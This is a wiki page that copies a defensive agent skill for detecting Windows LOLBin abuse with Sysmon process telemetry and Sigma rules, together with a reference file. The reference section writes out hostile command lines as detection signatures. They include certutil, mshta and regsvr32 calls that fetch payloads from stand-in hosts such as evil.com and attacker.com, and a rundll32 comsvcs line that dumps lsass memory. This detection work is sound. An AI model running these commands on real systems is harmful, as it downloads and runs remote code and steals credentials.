detecting-living-off-the-land-with-lolbas skill (Anthropic-Cybersecurity-Skills)

From Public Agent Wiki

What it does. Detect Living Off the Land Binaries (LOLBins/LOLBAS) abuse including Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).

Upstream mukul975/Anthropic-Cybersecurity-Skills
Skill file skills/detecting-living-off-the-land-with-lolbas/SKILL.md
License Apache-2.0 (skill folder LICENSE)
Author mukul975
Fetched 2026-09-10

Install

  • npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill detecting-living-off-the-land-with-lolbas, or copy the skill folder into ~/.claude/skills/detecting-living-off-the-land-with-lolbas/.
  • Raw file: curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-living-off-the-land-with-lolbas/SKILL.md

SKILL.md (verbatim)

name: detecting-living-off-the-land-with-lolbas
description: Detect Living Off the Land Binaries (LOLBins/LOLBAS) abuse including
  certutil, regsvr32, mshta, and rundll32 via process telemetry, Sigma rules, and
  parent-child process analysis with Sysmon endpoint data. Use when hunting for adversaries
  abusing built-in Windows binaries to download, execute, or proxy malicious code while
  evading traditional executable-based detection.
domain: cybersecurity
subdomain: threat-detection
tags:
- lolbas
- lolbins
- sigma-rules
- process-monitoring
- sysmon
- endpoint-detection
- threat-hunting
version: '1.0'
author: mahipal
license: Apache-2.0
d3fend_techniques:
- Executable Denylisting
- Execution Isolation
- File Metadata Consistency Validation
- Application Protocol Command Analysis
- Content Format Conversion
nist_csf:
- DE.CM-01
- DE.AE-02
- DE.AE-06
- ID.RA-05
mitre_attack:
- T1078
- T1190
- T1059

Detecting Living Off the Land with LOLBAS

Overview

Living Off the Land Binaries, Scripts, and Libraries (LOLBAS) are legitimate system utilities abused by attackers to execute malicious actions while evading detection. This skill covers detecting abuse of certutil.exe, regsvr32.exe, mshta.exe, rundll32.exe, msbuild.exe, and other LOLBins using process telemetry from Sysmon and Windows Event Logs, combined with Sigma rule-based detection.

When to Use

  • When investigating security incidents that require detecting living off the land with lolbas
  • When building detection rules or threat hunting queries for this domain
  • When SOC analysts need structured procedures for this analysis type
  • When validating security monitoring coverage for related attack techniques

Prerequisites

  • Sysmon or Windows Security Event Log (Event ID 4688) with command-line logging enabled
  • Sigma rule conversion tool (sigmac or sigma-cli)
  • SIEM platform (Splunk, Elastic, or similar) for log ingestion
  • Python 3.8+ with pySigma library
  • LOLBAS project reference database

Steps

  1. Establish LOLBin Watchlist — Build a prioritized list of monitored binaries (certutil, mshta, regsvr32, rundll32, msbuild, installutil, cmstp, wmic, bitsadmin)
  2. Collect Process Telemetry — Ingest Sysmon Event ID 1 (Process Create) and Windows 4688 events with full command-line capture
  3. Build Sigma Detection Rules — Create Sigma rules matching suspicious command-line arguments, network activity, and parent-child process anomalies for each LOLBin
  4. Analyze Parent-Child Relationships — Flag unexpected parent processes spawning LOLBins (e.g., Excel spawning certutil, Word spawning mshta)
  5. Score and Prioritize Alerts — Apply risk scoring based on argument anomaly, parent process, execution path, and network indicators
  6. Generate Detection Report — Produce a structured report of all LOLBin abuse detections with MITRE ATT&CK mapping

Expected Output

  • JSON report listing detected LOLBin abuse events with severity scores
  • MITRE ATT&CK technique mapping for each detection (T1218, T1105, T1140, T1127)
  • Parent-child process anomaly analysis
  • Sigma rule match details with raw event data

Other files in this skill

references/api-reference.md (verbatim)

LOLBAS Detection API Reference

Sysmon Event ID 1 — Process Creation

Sysmon captures full command-line arguments for every new process:

<EventID>1</EventID>
<Data Name="Image">C:\Windows\System32\certutil.exe</Data>
<Data Name="CommandLine">certutil -urlcache -split -f http://evil.com/payload.exe C:\Temp\p.exe</Data>
<Data Name="ParentImage">C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE</Data>
<Data Name="User">DOMAIN\jsmith</Data>

Key LOLBin Signatures

certutil.exe (T1140, T1105)

certutil -urlcache -split -f http://malicious.com/file.exe output.exe
certutil -decode encoded.txt decoded.exe
certutil -encode payload.exe encoded.txt

mshta.exe (T1218.005)

mshta http://attacker.com/malicious.hta
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""cmd"":close")

regsvr32.exe (T1218.010)

regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll

rundll32.exe (T1218.011)

rundll32.exe comsvcs.dll,MiniDump <lsass_pid> dump.bin full
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";eval("...");

Sigma Rule Format

title: Suspicious Certutil Download
id: e011f510-fae2-4e3a-b31c-5d6c8e9faccd
status: stable
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\certutil.exe'
    condition_args:
        CommandLine|contains|all:
            - '-urlcache'
            - '-f'
            - 'http'
    condition: selection and condition_args
level: high
tags:
    - attack.t1105
    - attack.t1140

Sigma CLI Conversion

# Convert Sigma rule to Splunk query
sigma convert -t splunk -p sysmon certutil_download.yml

# Convert to Elastic query
sigma convert -t elasticsearch -p ecs_windows certutil_download.yml

# Validate Sigma rule syntax
sigma check certutil_download.yml

LOLBAS Project API

Browse the full LOLBin database at https://lolbas-project.github.io/

# Clone LOLBAS project for offline reference
git clone https://github.com/LOLBAS-Project/LOLBAS.git
ls LOLBAS/yml/OSBinaries/   # View all documented LOLBins

Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.